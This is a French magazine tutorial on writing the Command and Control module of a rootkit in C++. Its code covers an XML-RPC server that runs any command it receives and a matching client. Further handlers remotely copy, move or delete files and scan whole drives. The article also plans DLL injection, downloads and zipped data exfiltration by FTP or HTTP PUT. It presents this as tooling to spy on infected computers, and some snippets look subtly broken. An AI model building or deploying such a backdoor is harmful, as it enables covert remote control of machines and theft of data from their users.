



Christophe PICHAUD
Architecte Microsoft chez 'M Applications by Devoteam'
christophepichaud@hotmail.com
www.windowsecpp.com

C++



Rootkit partie 2 : Module Command and Control

niveau
300

Ce mois-ci, nous abordons la sécurité et la programmation système au cœur du système d'exploitation via le développement de drivers ou d'outils de collecte de données. Dans chaque rootkit évolué, il y a un module Command and Control aka CC qui permet de contrôler l'ordinateur infecté de l'extérieur.

Avant de commencer à rentrer dans le vif du sujet concernant les rootkits, je vous invite à mettre la main sur le numéro 225 de Janvier 2019 qui explique largement ce qu'est un rootkit. Pour rappel, un rootkit est un ensemble invisible de composants logiciels qui s'est installé via une faille de sécurité ou via un installateur standard (vous avez donné votre accord) d'un malware... Vous savez, tous ces petits logiciels gratuits qui rendent votre PC plus lent et qui bidouillent la configuration de votre navigateur... Il y a souvent un service Windows qui est à l'écoute, on l'appelle le module Command and Control alias CC et c'est l'objet de cet article. On y trouve aussi des drivers comme un sniffer de clavier appelés keylogger, des analyseurs de cartes réseaux, des outils de prise en main à distance ; bref de quoi vous espionner et récupérer de l'information.

Le module Command and Control (C&C)

Le module C&C est un processus serveur à l'écoute d'un client. Il répond à des commandes. Pour ce faire il ouvre un port et se met à l'écoute. Son but est de réaliser des actions orchestrées depuis l'extérieur. Le module C&C peut aussi avoir sa commande interne de ping pour signaler qu'il est prêt. Les échanges doivent être minimale, fais ci, fais ça. Un buffer en in, un buffer en out. Basta.

La librairie de communication XML-RPC

Pour faire un module efficace, on va utiliser une librairie de communication ultra légère et peu verbeuse comme *Ultra-Lightweight XML RPC C++* (ulxmlrpcpp) disponible sur <http://ulxmlrpcpp.sourceforge.net/>. Cette librairie implémente les sockets, http et le support du protocole XML-RPC qui est juste ce qu'il nous faut. Il faut récupérer les sources sous SourceForge et les recompiler. Parfois, c'est ici que les ennuis commencent car il n'existe pas toujours de fichiers projets *clean* ou bien les dépendances sont multiples. Dans notre cas, nous avons besoin de la lib expat qui est un parser XML léger. On récupère les sources sur <https://libexpat.github.io/>, on ouvre le fichier projet et on build soit en statique, soit en dynamique. L'essentiel c'est d'être cohérent, on build expat et ulxmlrpcpp de la même manière. Le plus propre est de build des dlls et des lib dynamiques.

Build de ulxmlrpcpp

La seule contrainte dans la recompilation de la lib xml-rpc est l'inclusion de la libexpat au niveau du linker :

```
#pragma comment(lib, "libexpat.lib")
```

Conception du module C&C

La liste des prérequis est la suivante :

```
#include <cstdlib>
#include <iostream>
#include <ctime>
#include <memory>
#include <cstring>
#include <string>

#include <ulxmlrpcpp/ulxmlrpcpp.h> // always first header
#include <ulxmlrpcpp/ulxr_tcpip_connection.h>
#include <ulxmlrpcpp/ulxr_ssl_connection.h>
#include <ulxmlrpcpp/ulxr_http_protocol.h>
#include <ulxmlrpcpp/ulxr_requester.h>
#include <ulxmlrpcpp/ulxr_value.h>
#include <ulxmlrpcpp/ulxr_except.h>
#include <ulxmlrpcpp/ulxr_log4j.h>

#ifdef _DEBUG
    #pragma comment(lib, "..\\x64\\Debug\\ulxmlrpcpp-1.7.5.lib")
#else
    #pragma comment(lib, "..\\x64\\Release\\ulxmlrpcpp-1.7.5.lib")
#endif
```

La librairie ulxmlrpcpp ne dépend que de expat.dll pour la partie xml. Voici la taille des librairies :

- Debug
 - Ulxmlrpcpp.dll : 1.3 MB
 - libexpat.dll : 1.3 MB
- Release
 - Ulxmlrpcpp.dll : 760 KB
 - libexpat.dll : 520 KB

On peut constater que le surplus n'est que de 1.3 MB en release. On est léger. Dans un service Windows ou en mode console simple (comme ici), on lance un thread et il faut que le serveur soit autonome... Voici, le main du module CC :

```
int MyThread(int argc, char**argv);
int main(int argc, char**argv)
{
    std::thread t1(MyThread, argc, argv);
    t1.join();
    return 0;
}
```

Codage de la partie serveur

Avant de partir dans le code, précisons que le code s'exécute en mode User dans un simple service Windows ou en console. Il n'y a pas besoin d'être au niveau d'un driver et donc au niveau Kernel pour lancer des processus et réaliser des opérations standards sur les fichiers. Voyons comment créer un serveur XML-RPC :

```
int MyThread(int argc, char **argv)
{
    std::string host = ("localhost");
    unsigned port = 32000;
    std::unique_ptr<ulxr::TcpIpConnection> conn =
        std::make_unique<ulxr::TcpIpConnection>(true, host, port);
    ulxr::HttpProtocol prot(conn.get());
    prot.setChunkedTransfer(false);
    prot.setPersistent(false);

    ulxr::Dispatcher server(&prot);
    // Add serveur method here to the dispatcher
    while (true)
    {
        ulxr::MethodCall call = server.waitForCall();

        ulxr::MethodResponse resp = server.dispatchCall(call);
        if (!prot.isTransmitOnly())
            server.sendResponse(resp);

        if (!prot.isPersistent())
            prot.close();
    }
}
```

Comment ça marche ? On déclare un objet TcpConnection puis un objet HttpProtocol, et, enfin, un objet Dispatcher. Rien de plus. Vous allez me dire que c'est plus simple à écrire non ? OK, il n'y a pas de méthodes serveurs encore... OK ! Mettons-nous sur la ligne de commentaire `// Add serveur method here` et ajoutons cela :

```
// Add serveur method here
server.addMethod(ulxr::make_method(ExecuteCmd),
    ulxr::Signature() << ulxr::RpcString(),
    ("ExecuteCmd"),
    ulxr::Signature() << ulxr::RpcString(),
    ("Execute a command"));
```

Cela permet de créer une fonction serveur qui prend en paramètre une string et qui retourne une string. Voici l'implémentation de cette fonction :

```
ulxr::MethodResponse ExecuteCmd(const ulxr::MethodCall &callData)
{
    std::cout << "ExecuteCmd" << std::endl;
    ulxr::RpcString cmd = callData.getParam(0);
    std::string s = cmd.getString();

    //
    // Do CreateProcess here...
```

```
//
std::string out = ServerHelper::ExecuteCommand(s);

std::cout << "Result: " << out << std::endl;
ulxr::MethodResponse resp;
resp.setResult(ulxr::RpcString(out));
return resp;
}
```

Dans mon exemple, la fonction `ExecuteCommand` va lancer un process. Dans l'idéal, on capture la sortie standard et on retourne le résultat... La fonction membre `ExecuteCommand` existe dans le fichier suivant d'un autre de mes projets : <https://github.com/ChristophePichaud/VSDemo/blob/master/VisualStudioDemo/FileManager.cpp>

Elle crée un cmd avec la commande et capte le flux de sortie... Pour les curieux... Maintenant que la partie serveur est créée, regardons comme est codé le client. Voici la version allégée de `ExecuteCommand` qui ne fait que lancer le processus et attend sa fin :

```
DWORD CFileManager::ExecuteCommand(LPCTSTR lpszCmd)
{
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    BOOL bCreated = FALSE;
    SECURITY_ATTRIBUTES sa;
    TCHAR szTemp[4096];

    memset(&pi, 0, sizeof(PROCESS_INFORMATION));
    memset(&si, 0, sizeof(STARTUPINFO));
    memset(&sa, 0, sizeof(SECURITY_ATTRIBUTES));

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;

    // Information sur la sortie standard pour CreateProcess
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdOutput = NULL;
    si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
    si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
    si.wShowWindow = SW_SHOW;

    // Create process
    bCreated = CreateProcess(NULL, lpszCmd, NULL, NULL,
        TRUE, 0, NULL, NULL, &si, &pi);
    if (bCreated == FALSE)
    {
        _stprintf(szTemp, _T("CreateProcess %s failed GetLastError()=%ld"),
            lpszCmd, GetLastError());
        return false;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    DWORD dwExitCode = 0;
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
}
```

```

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
// Fin du process OK

return dwExitCode;
}

```

Codage de la partie client

Le client est lui aussi attaché à la librairie ulxmlrpcpp. La première chose à faire est de décrire la connexion, puis d'émettre un appel de fonction :

```

std::string host = ("localhost");
unsigned port = 32000;
std::unique_ptr<ulxr::TcpIpConnection> conn =
std::make_unique<ulxr::TcpIpConnection>(false, host, port);
ulxr::HttpProtocol prot(conn.get());
prot.setChunkedTransfer(false);
prot.setPersistent(false);

```

La connexion sera assurée par la classe TcpIpConnection. Maintenant, on fait appel à la fonction « ExecuteCmd » via Requester et MethodCall :

```

ulxr::Requester client(&prot);
ulxr_time_t starttime = ulxr_time(0);
ulxr::MethodCall executeCmdCall(("ExecuteCmd"));
std::string str = "notepad.exe";
executeCmdCall.addParam(ulxr::RpcCString(str));

```

La réponse est obtenue via MethodResponse :

```

ulxr::MethodResponse resp;
std::cout << ("call ExecuteCmd: \n");
std::cout << "MethodCall: " << executeCmdCall.getXml() << std::endl;
resp = client.call(executeCmdCall, ("RPC2"));
std::cout << "MethodResponse: " << resp.getXml() << std::endl;

```

On remarque que le code ci-dessus dump la requête in/out via getXml(). C'est très simple : **1**

En mode console, les modules C&C et clients sont très petits :

- Debug
 - CommandAndControlServer.exe : 140 KB
 - CCClient.exe : 105 KB
- Release
 - CommandAndControlServer.exe : 30 KB
 - CCClient.exe : 23 KB

Anatomie du Command & Control service

Nous avons vu la commande ExecuteCmd mais voici la liste plus réelle de ce dont nous avons besoin :

- CreateFile / DeleteFile / MoveFile/ CopyFile / WriteFile / ReadFile
- CreateDirectory / DeleteDirectory
- FindFile, SearchFileWithPattern
- ExecuteCmd / CreateProcess
- ExecuteVBS

- Ping
- InjectDll / LoadLibrary
- Wget
- FtpPut
- Zip, Unzip

Cette liste représente les éléments nécessaires à une bonne prise en main à distance. De plus, il est utile de collecter des données, de faire des archives zip et de les envoyer via ftp ou via un PUT http. Pour que le module CC soit complet, on réalisera les commandes sous formes de plug-ins. Un plug-in contient un ensemble de fonctionnalités chargées dynamiquement. Ainsi, le rookit devient modulaire et permet d'être livré sous forme de DLLs. Il peut évoluer au cours du temps via de nouveaux plug-ins. On obtient donc un rootkit mutable qui sait évoluer.

Exemple de Plug-In pour les fichiers

Faisons l'implémentation des fonctions de bases sur les fichiers : CopyFile, MoveFile et DeleteFile. Pour cela, on va faire une classe BuiltInCommand avec des méthodes simples :

```

class BuiltInCommand
{
public:
    BuiltInCommand() {}
    ~BuiltInCommand() {}

public:
    static void CopyFileCmd(std::string source, std::string destination);
    static void MoveFileCmd(std::string source, std::string destination);
    static void DeleteFileCmd(std::string source);
};

void BuiltInCommand::CopyFileCmd(std::string source, std::string destination)
{
    ::CopyFile(source.c_str(), destination.c_str(), FALSE);
}

void BuiltInCommand::MoveFileCmd(std::string source, std::string destination)
{
    ::MoveFile(source.c_str(), destination.c_str());
}

void BuiltInCommand::DeleteFileCmd(std::string source)
{
    ::DeleteFile(source.c_str());
}

```

```

CString SearchDrive(const CString& strFile, const CString& strFilePath, const bool& bRecursive, const bool& bStopWhenFound)
{
    CString strFoundFilePath;
    WIN32_FIND_DATA file;

    CString strPathToSearch = strFilePath;
    strPathToSearch += _T("\\");

    HANDLE hFile = FindFirstFile((strPathToSearch + "**"), &file);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        do
        {
            CString strTheNameOfTheFile = file.cFileName;

            // It could be a directory we are looking at
            // if so look into that dir
            if (file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                if ((strTheNameOfTheFile != ".") &&
                    (strTheNameOfTheFile != "..") &&
                    (bRecursive))
                {
                    ++ullFolders;
                    strFoundFilePath = SearchDrive(strFile, strPathToSearch + strTheNameOfTheFile,
                                                    bRecursive, bStopWhenFound);

                    if (!strFoundFilePath.IsEmpty() && bStopWhenFound)
                        break;
                }
            }
            else
            {
                ++ullFiles;
                strFoundFilePath = strPathToSearch + strTheNameOfTheFile; //strFile;

                ULONGLONG size = (static_cast<ULONGLONG>)(file.nFileSizeHigh) <<
                                sizeof(file.nFileSizeLow) * 8) | file.nFileSizeLow;

                TCHAR szPath[10240];
                memset(szPath, 0, 10240);
                _tstrcpy_s(szPath, (LPCSTR)strFoundFilePath);
                ::PathRemoveFileSpec(szPath);
                _tprintf(_T("%s;%s\\%ld\n"), szPath, (LPCSTR)strTheNameOfTheFile, size);

                if (bStopWhenFound)
                    break;
            }
        } while (FindNextFile(hFile, &file));

        FindClose(hFile);
    }

    return strFoundFilePath;
}

```

2

Pour que les commandes soient exploitées, il faut une méthode serveur. On choisit de ne faire qu'une seule méthode serveur pour les 3 routines. La routine prend en paramètres le nom de la fonction et deux chaînes comme paramètres :

```

server.addMethod(ulxr::make_method(ExecuteCmdFile),
    ulxr::Signature() << ulxr::RpcString(),
    ("ExecuteCmdFile"),
    ulxr::Signature() << ulxr::RpcString() << ulxr::RpcString() << ulxr::RpcString(),
    ("Execute a file command"));

```

Voici le code de la méthode serveur :

```

ulxr::MethodResponse ExecuteCmdFile(const ulxr::MethodCall &callData)
{
    std::cout << "ExecuteCmdFile" << std::endl;
    ulxr::RpcString cmd = callData.getParam(0);
    std::string s = cmd.getString();
}

```

```

if (s == "CopyFile")
{
    std::string param1 = ((ulxr::RpcString)callData.getParam(1)).getString();
    std::string param2 = ((ulxr::RpcString)callData.getParam(2)).getString();
    BuiltInCommand::CopyFileCmd(param1, param2);
}
else if (s == "MoveFile")
{
    std::string param1 = ((ulxr::RpcString)callData.getParam(1)).getString();
    std::string param2 = ((ulxr::RpcString)callData.getParam(2)).getString();
    BuiltInCommand::MoveFileCmd(param1, param2);
}
else if (s == "DeleteFile")
{
    std::string param1 = ((ulxr::RpcString)callData.getParam(1)).getString();
    BuiltInCommand::DeleteFileCmd(param1);
}

std::cout << "Param: " << s << std::endl;
s += " executed...";
ulxr::MethodResponse resp;
resp.setResult(ulxr::RpcString(s));
return resp;
}

```

Comme vous pouvez le voir, le code est très simple. Pour ces fonctions de bases sur les fichiers, on les implémentera dans les fonctions livrées par défaut par le module CC. Une autre fonction qui peut être intéressante est le scan de fichiers. Le plus simple, c'est l'itération récursive dans le système de fichiers et éventuellement de créer une map du système ou bien un fichier CSV... : 2

Code source

Le code source de cet article est disponible sur : <https://github.com/ChristophePichaud/CommandAndControl>.

Conclusion

Un module CC est un programme client-serveur qui sait répondre à des commandes. Son code est simple et efficace. Le but est de communiquer avec le minimum de verbes. Remarquons au passage que le code est purement système : ce sont des threads, des ports, des sockets, des buffers en in et en out et des librairies dynamiques. C'est du middleware. Tout simplement.

reste cadre de 185 mm de large x 40 mm de haut